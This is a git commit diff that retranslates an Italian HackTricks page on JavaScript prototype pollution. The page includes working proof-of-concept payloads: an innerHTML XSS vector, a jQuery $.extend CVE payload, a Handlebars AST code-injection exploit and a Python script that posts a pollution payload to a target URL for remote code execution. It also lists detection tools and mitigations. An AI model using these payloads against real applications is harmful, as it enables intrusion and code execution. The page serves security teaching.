mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu
This commit is contained in:
parent
c1341958bb
commit
68db6172a4
1 changed files with 71 additions and 68 deletions
|
@ -2,19 +2,19 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Oggetti in JavaScript <a href="#053a" id="053a"></a>
|
## Oggetti in JavaScript <a href="#id-053a" id="id-053a"></a>
|
||||||
|
|
||||||
Gli oggetti in JavaScript sono essenzialmente collezioni di coppie chiave-valore, note come proprietà. Un oggetto può essere creato utilizzando `Object.create` con `null` come argomento per produrre un oggetto vuoto. Questo metodo consente la creazione di un oggetto senza proprietà ereditate.
|
Gli oggetti in JavaScript sono essenzialmente collezioni di coppie chiave-valore, note come proprietà. Un oggetto può essere creato utilizzando `Object.create` con `null` come argomento per produrre un oggetto vuoto. Questo metodo consente la creazione di un oggetto senza proprietà ereditate.
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -25,7 +25,7 @@ Un oggetto vuoto è simile a un dizionario vuoto, rappresentato come `{}`.
|
||||||
|
|
||||||
### Funzioni e Classi in JavaScript
|
### Funzioni e Classi in JavaScript
|
||||||
|
|
||||||
In JavaScript, le funzioni e le classi sono strettamente collegate, con le funzioni che spesso fungono da costruttori per le classi. Nonostante la mancanza di supporto nativo alle classi in JavaScript, i costruttori possono emulare il comportamento delle classi.
|
In JavaScript, le classi e le funzioni sono strettamente collegate, con le funzioni che spesso fungono da costruttori per le classi. Nonostante il supporto nativo alle classi manchi in JavaScript, i costruttori possono emulare il comportamento delle classi.
|
||||||
```javascript
|
```javascript
|
||||||
// Run this in the developers tools console
|
// Run this in the developers tools console
|
||||||
|
|
||||||
|
@ -45,21 +45,21 @@ employee1.__proto__
|
||||||
```
|
```
|
||||||
### Prototipi in JavaScript
|
### Prototipi in JavaScript
|
||||||
|
|
||||||
JavaScript consente la modifica, l'aggiunta o la cancellazione degli attributi del prototipo durante l'esecuzione. Questa flessibilità consente l'estensione dinamica delle funzionalità di una classe.
|
JavaScript consente la modifica, l'aggiunta o l'eliminazione degli attributi del prototipo durante l'esecuzione. Questa flessibilità consente l'estensione dinamica delle funzionalità di classe.
|
||||||
|
|
||||||
Funzioni come `toString` e `valueOf` possono essere modificate per cambiare il loro comportamento, dimostrando la natura adattabile del sistema di prototipi di JavaScript.
|
Funzioni come `toString` e `valueOf` possono essere modificate per cambiare il loro comportamento, dimostrando la natura adattabile del sistema di prototipi di JavaScript.
|
||||||
|
|
||||||
## Ereditarietà
|
## Ereditarietà
|
||||||
|
|
||||||
Nella programmazione basata sui prototipi, le proprietà/metodi vengono ereditati dagli oggetti dalle classi. Queste classi vengono create aggiungendo proprietà/metodi a un'istanza di un'altra classe o a un oggetto vuoto.
|
Nella programmazione basata su prototipi, le proprietà/metodi vengono ereditati dagli oggetti dalle classi. Queste classi vengono create aggiungendo proprietà/metodi a un'istanza di un'altra classe o a un oggetto vuoto.
|
||||||
|
|
||||||
Va notato che quando una proprietà viene aggiunta a un oggetto che funge da prototipo per altri oggetti (come `myPersonObj`), gli oggetti che ereditano ottengono accesso a questa nuova proprietà. Tuttavia, questa proprietà non viene visualizzata automaticamente a meno che non venga esplicitamente invocata.
|
Va notato che quando una proprietà viene aggiunta a un oggetto che funge da prototipo per altri oggetti (come `myPersonObj`), gli oggetti che ereditano ottengono accesso a questa nuova proprietà. Tuttavia, questa proprietà non viene visualizzata automaticamente a meno che non venga esplicitamente invocata.
|
||||||
|
|
||||||
## Inquinamento del \_\_proto\_\_ <a href="#0d0a" id="0d0a"></a>
|
## Inquinamento di \_\_proto\_\_ <a href="#id-0d0a" id="id-0d0a"></a>
|
||||||
|
|
||||||
## Esplorazione dell'inquinamento del prototipo in JavaScript
|
## Esplorare l'Inquinamento del Prototipo in JavaScript
|
||||||
|
|
||||||
Gli oggetti JavaScript sono definiti da coppie chiave-valore e ereditano dal prototipo di oggetto JavaScript. Ciò significa che la modifica del prototipo di oggetto può influenzare tutti gli oggetti nell'ambiente.
|
Gli oggetti JavaScript sono definiti da coppie chiave-valore e ereditano dal prototipo dell'oggetto JavaScript. Ciò significa che modificare il prototipo dell'oggetto può influenzare tutti gli oggetti nell'ambiente.
|
||||||
|
|
||||||
Utilizziamo un esempio diverso per illustrare:
|
Utilizziamo un esempio diverso per illustrare:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -68,12 +68,12 @@ this.model = model;
|
||||||
}
|
}
|
||||||
var car1 = new Vehicle("Tesla Model S");
|
var car1 = new Vehicle("Tesla Model S");
|
||||||
```
|
```
|
||||||
L'accesso al prototipo dell'oggetto è possibile attraverso:
|
L'accesso al prototipo dell'oggetto è possibile tramite:
|
||||||
```javascript
|
```javascript
|
||||||
car1.__proto__.__proto__;
|
car1.__proto__.__proto__;
|
||||||
Vehicle.__proto__.__proto__;
|
Vehicle.__proto__.__proto__;
|
||||||
```
|
```
|
||||||
Aggiungendo proprietà al prototipo Object, ogni oggetto JavaScript erediterà queste nuove proprietà:
|
Aggiungendo proprietà al prototipo dell'oggetto, ogni oggetto JavaScript erediterà queste nuove proprietà:
|
||||||
```javascript
|
```javascript
|
||||||
function Vehicle(model) {
|
function Vehicle(model) {
|
||||||
this.model = model;
|
this.model = model;
|
||||||
|
@ -86,7 +86,7 @@ car1.announce(); // Outputs "Beep beep!"
|
||||||
car1.__proto__.__proto__.isVehicle = true;
|
car1.__proto__.__proto__.isVehicle = true;
|
||||||
console.log(car1.isVehicle); // Outputs true
|
console.log(car1.isVehicle); // Outputs true
|
||||||
```
|
```
|
||||||
## Inquinamento del prototipo
|
## inquinamento del prototipo
|
||||||
|
|
||||||
Per uno scenario in cui l'uso di `__proto__` è limitato, modificare il prototipo di una funzione è un'alternativa:
|
Per uno scenario in cui l'uso di `__proto__` è limitato, modificare il prototipo di una funzione è un'alternativa:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -108,11 +108,11 @@ Questo influisce solo sugli oggetti creati dal costruttore `Vehicle`, conferendo
|
||||||
|
|
||||||
Due metodi per influenzare globalmente gli oggetti JavaScript attraverso l'inquinamento del prototipo includono:
|
Due metodi per influenzare globalmente gli oggetti JavaScript attraverso l'inquinamento del prototipo includono:
|
||||||
|
|
||||||
1. Inquinare direttamente l'`Object.prototype`:
|
1. Inquinare direttamente il `Object.prototype`:
|
||||||
```javascript
|
```javascript
|
||||||
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
|
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
|
||||||
```
|
```
|
||||||
2. Inquinare il prototipo di un costruttore per una struttura comunemente utilizzata:
|
2. Inquinamento del prototipo di un costruttore per una struttura comunemente utilizzata:
|
||||||
```javascript
|
```javascript
|
||||||
var example = {"key": "value"};
|
var example = {"key": "value"};
|
||||||
example.constructor.prototype.greet = function() { console.log("Hello!"); };
|
example.constructor.prototype.greet = function() { console.log("Hello!"); };
|
||||||
|
@ -123,7 +123,7 @@ Dopo queste operazioni, ogni oggetto JavaScript può eseguire i metodi `goodbye`
|
||||||
|
|
||||||
### Da una classe a Object.prototype
|
### Da una classe a Object.prototype
|
||||||
|
|
||||||
In uno scenario in cui è possibile inquinare un oggetto specifico e si desidera arrivare a `Object.prototype`, è possibile cercarlo con un codice simile al seguente:
|
In uno scenario in cui puoi **inquinare un oggetto specifico** e hai bisogno di **arrivare a `Object.prototype`** puoi cercarlo con un codice simile al seguente:
|
||||||
```javascript
|
```javascript
|
||||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||||
|
|
||||||
|
@ -146,7 +146,7 @@ console.log(key1 + "." + key2)
|
||||||
```
|
```
|
||||||
### Inquinamento degli elementi dell'array
|
### Inquinamento degli elementi dell'array
|
||||||
|
|
||||||
Nota che, poiché è possibile inquinare gli attributi degli oggetti in JS, se hai accesso per inquinare un array, puoi anche **inquinare i valori dell'array** accessibili **tramite indici** (nota che non puoi sovrascrivere i valori, quindi devi inquinare gli indici che vengono in qualche modo utilizzati ma non scritti).
|
Nota che poiché è possibile inquinare gli attributi degli oggetti in JS, se hai accesso per inquinare un array puoi anche **inquinare i valori dell'array** accessibili **tramite indici** (nota che non puoi sovrascrivere i valori, quindi devi inquinare gli indici che vengono in qualche modo utilizzati ma non scritti).
|
||||||
```javascript
|
```javascript
|
||||||
c = [1,2]
|
c = [1,2]
|
||||||
a = []
|
a = []
|
||||||
|
@ -156,9 +156,9 @@ b[0] //undefined
|
||||||
b[1] //"yolo"
|
b[1] //"yolo"
|
||||||
c[1] // 2 -- not
|
c[1] // 2 -- not
|
||||||
```
|
```
|
||||||
### Inquinamento degli elementi HTML
|
### Inquinamento degli elementi Html
|
||||||
|
|
||||||
Quando si genera un elemento HTML tramite JS, è possibile **sovrascrivere** l'attributo **`innerHTML`** per farlo scrivere **codice HTML arbitrario**. [Idea ed esempio tratti da questo articolo](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
Quando si genera un elemento HTML tramite JS, è possibile **sovrascrivere** l'attributo **`innerHTML`** per farlo scrivere **codice HTML arbitrario.** [Idea ed esempio da questo articolo](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -175,80 +175,83 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
||||||
|
|
||||||
## Esempi
|
## Esempi
|
||||||
|
|
||||||
### Esempio di base
|
### Esempio Base
|
||||||
|
|
||||||
La pollution del prototipo si verifica a causa di una falla nell'applicazione che consente di sovrascrivere le proprietà su `Object.prototype`. Ciò significa che poiché la maggior parte degli oggetti deriva le loro proprietà da `Object.prototype`
|
Una contaminazione del prototipo si verifica a causa di un difetto nell'applicazione che consente di sovrascrivere le proprietà su `Object.prototype`. Ciò significa che poiché la maggior parte degli oggetti deriva le loro proprietà da `Object.prototype`
|
||||||
|
|
||||||
L'esempio più semplice è aggiungere un valore a un **attributo non definito di un oggetto** che verrà controllato, come:
|
Il modo più semplice è aggiungere un valore a un **attributo non definito di un oggetto** che verrà verificato, come:
|
||||||
```javascript
|
```javascript
|
||||||
if (user.admin) {
|
if (user.admin) {
|
||||||
```
|
```
|
||||||
Se l'attributo **`admin` è indefinito**, è possibile sfruttare una PP e impostarlo su True con qualcosa del genere:
|
Se l'attributo **`admin` è non definito**, è possibile sfruttare una PP e impostarlo su True con qualcosa del genere:
|
||||||
```javascript
|
```javascript
|
||||||
Object.prototype.isAdmin = true
|
Object.prototype.isAdmin = true
|
||||||
let user = {}
|
let user = {}
|
||||||
user.isAdmin // true
|
user.isAdmin // true
|
||||||
```
|
```
|
||||||
Il meccanismo dietro a questo coinvolge la manipolazione delle proprietà in modo tale che se un attaccante ha il controllo su determinati input, può modificare il prototipo di tutti gli oggetti nell'applicazione. Questa manipolazione di solito coinvolge l'impostazione della proprietà `__proto__`, che, in JavaScript, è sinonimo di modifica diretta del prototipo di un oggetto.
|
Il meccanismo di base coinvolge la manipolazione delle proprietà in modo tale che se un attaccante ha il controllo su determinati input, può modificare il prototipo di tutti gli oggetti nell'applicazione. Questa manipolazione di solito implica l'impostazione della proprietà `__proto__`, che, in JavaScript, è sinonimo di modificare direttamente il prototipo di un oggetto.
|
||||||
|
|
||||||
Le condizioni in cui questo attacco può essere eseguito con successo, come descritto in uno specifico [studio](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), includono:
|
Le condizioni in cui questo attacco può essere eseguito con successo, come descritto in uno specifico [studio](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), includono:
|
||||||
|
|
||||||
- Eseguire una fusione ricorsiva.
|
* Eseguire una fusione ricorsiva.
|
||||||
- Definire proprietà basate su un percorso.
|
* Definire proprietà basate su un percorso.
|
||||||
- Clonare oggetti.
|
* Clonare oggetti.
|
||||||
|
|
||||||
|
### Sovrascrivere la funzione
|
||||||
### Sovrascrittura di funzioni
|
|
||||||
```python
|
```python
|
||||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||||
```
|
```
|
||||||
### Proto Pollution per RCE
|
### Inquinamento del prototipo per RCE
|
||||||
|
|
||||||
{% content-ref url="prototype-pollution-to-rce.md" %}
|
{% content-ref url="prototype-pollution-to-rce.md" %}
|
||||||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Proto Pollution lato client per XSS
|
## Inquinamento del prototipo lato client per XSS
|
||||||
|
|
||||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### CVE-2019–11358: Attacco di proto pollution tramite jQuery $ .extend
|
### CVE-2019–11358: Attacco di inquinamento del prototipo tramite jQuery $ .extend
|
||||||
|
|
||||||
[Per ulteriori dettagli consulta questo articolo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
[Per ulteriori dettagli consulta questo articolo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery, la funzione `$ .extend` può portare all'inquinamento del prototipo se la funzione di copia profonda viene utilizzata in modo improprio. Questa funzione è comunemente utilizzata per clonare oggetti o unire proprietà da un oggetto predefinito. Tuttavia, quando è configurata in modo errato, le proprietà destinate a un nuovo oggetto possono essere assegnate al prototipo invece che all'oggetto stesso. Ad esempio:
|
||||||
In jQuery, la funzione `$ .extend` può portare a una proto pollution se la funzionalità di copia profonda viene utilizzata in modo improprio. Questa funzione viene comunemente utilizzata per clonare oggetti o unire proprietà da un oggetto predefinito. Tuttavia, quando viene configurata in modo errato, le proprietà destinate a un nuovo oggetto possono essere assegnate al prototipo invece. Ad esempio:
|
|
||||||
```javascript
|
```javascript
|
||||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
||||||
console.log({}.devMode); // Outputs: true
|
console.log({}.devMode); // Outputs: true
|
||||||
```
|
```
|
||||||
Questa vulnerabilità, identificata come CVE-2019-11358, illustra come una copia profonda possa modificare involontariamente il prototipo, portando a potenziali rischi per la sicurezza, come l'accesso amministrativo non autorizzato se le proprietà come `isAdmin` vengono verificate senza una corretta verifica dell'esistenza.
|
Questa vulnerabilità, identificata come CVE-2019-11358, illustra come una copia profonda possa modificare involontariamente il prototipo, portando a potenziali rischi per la sicurezza, come l'accesso amministrativo non autorizzato se proprietà come `isAdmin` vengono verificate senza una corretta verifica dell'esistenza.
|
||||||
|
|
||||||
### CVE-2018-3721, CVE-2019-10744: Attacco di inquinamento del prototipo tramite lodash
|
### CVE-2018-3721, CVE-2019-10744: Attacco di inquinamento del prototipo tramite lodash
|
||||||
|
|
||||||
[Per ulteriori dettagli consulta questo articolo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
[Per ulteriori dettagli consulta questo articolo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||||
|
|
||||||
[Lodash](https://www.npmjs.com/package/lodash) ha riscontrato vulnerabilità simili di inquinamento del prototipo (CVE-2018-3721, CVE-2019-10744). Questi problemi sono stati risolti nella versione 4.17.11.
|
[Lodash](https://www.npmjs.com/package/lodash) ha riscontrato vulnerabilità simili di inquinamento del prototipo (CVE-2018-3721, CVE-2019-10744). Queste problematiche sono state risolte nella versione 4.17.11.
|
||||||
|
|
||||||
### Un altro tutorial con CVE
|
### Un altro tutorial con CVE
|
||||||
|
|
||||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||||
|
|
||||||
### Inquinamento del prototipo AST in NodeJS
|
### Strumenti per rilevare l'Inquinamento del Prototipo
|
||||||
|
|
||||||
NodeJS utilizza ampiamente gli Abstract Syntax Trees (AST) in JavaScript per funzionalità come i motori di template e TypeScript. Questa sezione esplora le vulnerabilità legate all'inquinamento del prototipo nei motori di template, in particolare Handlebars e Pug.
|
* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Estensione di Burp Suite progettata per rilevare e analizzare vulnerabilità di inquinamento del prototipo lato server in applicazioni web. Questo strumento automatizza il processo di scansione delle richieste per identificare potenziali problemi di inquinamento del prototipo. Sfrutta gadget noti - metodi per sfruttare l'inquinamento del prototipo per eseguire azioni dannose - concentrandosi in particolare sulle librerie Node.js.
|
||||||
|
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Questa estensione identifica vulnerabilità di inquinamento del prototipo lato server. Utilizza tecniche descritte nel [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
|
||||||
|
|
||||||
#### Analisi della vulnerabilità di Handlebars
|
### Inquinamento del Prototipo AST in NodeJS
|
||||||
|
|
||||||
Il motore di template Handlebars è suscettibile a un attacco di inquinamento del prototipo. Questa vulnerabilità deriva da specifiche funzioni all'interno del file `javascript-compiler.js`. Ad esempio, la funzione `appendContent` concatena `pendingContent` se presente, mentre la funzione `pushSource` reimposta `pendingContent` su `undefined` dopo aver aggiunto la sorgente.
|
NodeJS utilizza ampiamente gli Alberi di Sintassi Astratta (AST) in JavaScript per funzionalità come i motori di template e TypeScript. Questa sezione esplora le vulnerabilità legate all'inquinamento del prototipo nei motori di template, in particolare Handlebars e Pug.
|
||||||
|
|
||||||
##### Processo di sfruttamento
|
#### Analisi della Vulnerabilità di Handlebars
|
||||||
|
|
||||||
Lo sfruttamento sfrutta l'AST (Abstract Syntax Tree) prodotto da Handlebars, seguendo questi passaggi:
|
Il motore di template Handlebars è suscettibile a un attacco di inquinamento del prototipo. Questa vulnerabilità deriva da funzioni specifiche all'interno del file `javascript-compiler.js`. La funzione `appendContent`, ad esempio, concatena `pendingContent` se presente, mentre la funzione `pushSource` reimposta `pendingContent` su `undefined` dopo aver aggiunto il codice sorgente.
|
||||||
|
|
||||||
1. **Manipolazione del parser**: Inizialmente, il parser, tramite il nodo `NumberLiteral`, impone che i valori siano numerici. L'inquinamento del prototipo può aggirare questa restrizione, consentendo l'inserimento di stringhe non numeriche.
|
**Processo di Sfruttamento**
|
||||||
2. **Gestione da parte del compilatore**: Il compilatore può elaborare un oggetto AST o un template di stringa. Se `input.type` è uguale a `Program`, l'input viene trattato come pre-analizzato, il che può essere sfruttato.
|
|
||||||
3. **Iniezione di codice**: Attraverso la manipolazione di `Object.prototype`, è possibile iniettare codice arbitrario nella funzione del template, il che può portare all'esecuzione remota di codice.
|
Lo sfruttamento sfrutta l'AST (Albero di Sintassi Astratta) prodotto da Handlebars, seguendo questi passaggi:
|
||||||
|
|
||||||
|
1. **Manipolazione del Parser**: Inizialmente, il parser, tramite il nodo `NumberLiteral`, impone che i valori siano numerici. L'inquinamento del prototipo può aggirare questo, consentendo l'inserimento di stringhe non numeriche.
|
||||||
|
2. **Gestione da parte del Compilatore**: Il compilatore può elaborare un oggetto AST o un modello di stringhe. Se `input.type` è uguale a `Program`, l'input viene trattato come pre-analizzato, il che può essere sfruttato.
|
||||||
|
3. **Iniezione di Codice**: Attraverso la manipolazione di `Object.prototype`, è possibile iniettare codice arbitrario nella funzione del modello, il che potrebbe portare all'esecuzione remota di codice.
|
||||||
|
|
||||||
Un esempio che dimostra lo sfruttamento della vulnerabilità di Handlebars:
|
Un esempio che dimostra lo sfruttamento della vulnerabilità di Handlebars:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -275,9 +278,9 @@ console.log(eval('(' + template + ')')['main'].toString());
|
||||||
```
|
```
|
||||||
Questo codice mostra come un attaccante potrebbe iniettare del codice arbitrario in un template Handlebars.
|
Questo codice mostra come un attaccante potrebbe iniettare del codice arbitrario in un template Handlebars.
|
||||||
|
|
||||||
**Riferimento esterno**: È stato riscontrato un problema legato all'inquinamento del prototipo nella libreria 'flat', come descritto qui: [Problema su GitHub](https://github.com/hughsk/flat/issues/105).
|
**Riferimento Esterno**: È stata riscontrata una problematica legata all'inquinamento del prototipo nella libreria 'flat', come dettagliato qui: [Problema su GitHub](https://github.com/hughsk/flat/issues/105).
|
||||||
|
|
||||||
**Riferimento esterno**: [Problema legato all'inquinamento del prototipo nella libreria 'flat'](https://github.com/hughsk/flat/issues/105)
|
**Riferimento Esterno**: [Problema legato all'inquinamento del prototipo nella libreria 'flat'](https://github.com/hughsk/flat/issues/105)
|
||||||
|
|
||||||
Esempio di exploit di inquinamento del prototipo in Python:
|
Esempio di exploit di inquinamento del prototipo in Python:
|
||||||
```python
|
```python
|
||||||
|
@ -326,21 +329,21 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
||||||
# execute
|
# execute
|
||||||
requests.get(TARGET_URL)
|
requests.get(TARGET_URL)
|
||||||
```
|
```
|
||||||
### Misure preventive
|
### Misure Preventive
|
||||||
|
|
||||||
Per ridurre il rischio di inquinamento del prototipo, possono essere adottate le seguenti strategie:
|
Per ridurre il rischio di inquinamento del prototipo, possono essere adottate le seguenti strategie:
|
||||||
|
|
||||||
1. **Immutabilità degli oggetti**: `Object.prototype` può essere reso immutabile applicando `Object.freeze`.
|
1. **Immutabilità degli Oggetti**: Il `Object.prototype` può essere reso immutabile applicando `Object.freeze`.
|
||||||
2. **Validazione dell'input**: gli input JSON devono essere rigorosamente validati rispetto allo schema dell'applicazione.
|
2. **Validazione dell'Input**: Gli input JSON dovrebbero essere rigorosamente validati rispetto allo schema dell'applicazione.
|
||||||
3. **Funzioni di merge sicure**: evitare l'uso non sicuro di funzioni di merge ricorsive.
|
3. **Funzioni di Unione Sicure**: Evitare l'uso non sicuro di funzioni di unione ricorsive.
|
||||||
4. **Oggetti senza prototipo**: è possibile creare oggetti senza proprietà del prototipo utilizzando `Object.create(null)`.
|
4. **Oggetti Senza Prototipo**: Gli oggetti senza proprietà del prototipo possono essere creati utilizzando `Object.create(null)`.
|
||||||
5. **Utilizzo di Map**: invece di `Object`, dovrebbe essere utilizzata `Map` per memorizzare coppie chiave-valore.
|
5. **Utilizzo di Mappe**: Invece di `Object`, dovrebbe essere utilizzato `Map` per memorizzare coppie chiave-valore.
|
||||||
6. **Aggiornamenti delle librerie**: le patch di sicurezza possono essere incorporate aggiornando regolarmente le librerie.
|
6. **Aggiornamenti delle Librerie**: Le patch di sicurezza possono essere incorporate aggiornando regolarmente le librerie.
|
||||||
7. **Linter e strumenti di analisi statica**: utilizzare strumenti come ESLint con plugin appropriati per rilevare e prevenire vulnerabilità di inquinamento del prototipo.
|
7. **Linter e Strumenti di Analisi Statica**: Utilizzare strumenti come ESLint con plugin appropriati per rilevare e prevenire vulnerabilità di inquinamento del prototipo.
|
||||||
8. **Revisioni del codice**: implementare revisioni del codice approfondite per identificare e risolvere potenziali rischi legati all'inquinamento del prototipo.
|
8. **Revisioni del Codice**: Implementare revisioni del codice approfondite per identificare e rimediare ai potenziali rischi legati all'inquinamento del prototipo.
|
||||||
9. **Formazione sulla sicurezza**: educare gli sviluppatori sui rischi dell'inquinamento del prototipo e sulle migliori pratiche per scrivere codice sicuro.
|
9. **Formazione sulla Sicurezza**: Educare gli sviluppatori sui rischi dell'inquinamento del prototipo e sulle migliori pratiche per scrivere codice sicuro.
|
||||||
10. **Utilizzo cauto delle librerie**: fare attenzione nell'utilizzo di librerie di terze parti. Valutare la loro postura di sicurezza e revisionare il loro codice, soprattutto quelli che manipolano oggetti.
|
10. **Utilizzo Cauteloso delle Librerie**: Essere cauti nell'utilizzo di librerie di terze parti. Valutare la loro postura sulla sicurezza e revisionare il loro codice, specialmente quelli che manipolano oggetti.
|
||||||
11. **Protezione in tempo di esecuzione**: utilizzare meccanismi di protezione in tempo di esecuzione, come l'utilizzo di pacchetti npm focalizzati sulla sicurezza che possono rilevare e prevenire attacchi di inquinamento del prototipo.
|
11. **Protezione in Esecuzione**: Utilizzare meccanismi di protezione in esecuzione come l'utilizzo di pacchetti npm orientati alla sicurezza che possono rilevare e prevenire attacchi di inquinamento del prototipo.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
|
|
||||||
|
@ -351,14 +354,14 @@ Per ridurre il rischio di inquinamento del prototipo, possono essere adottate le
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repos.**
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
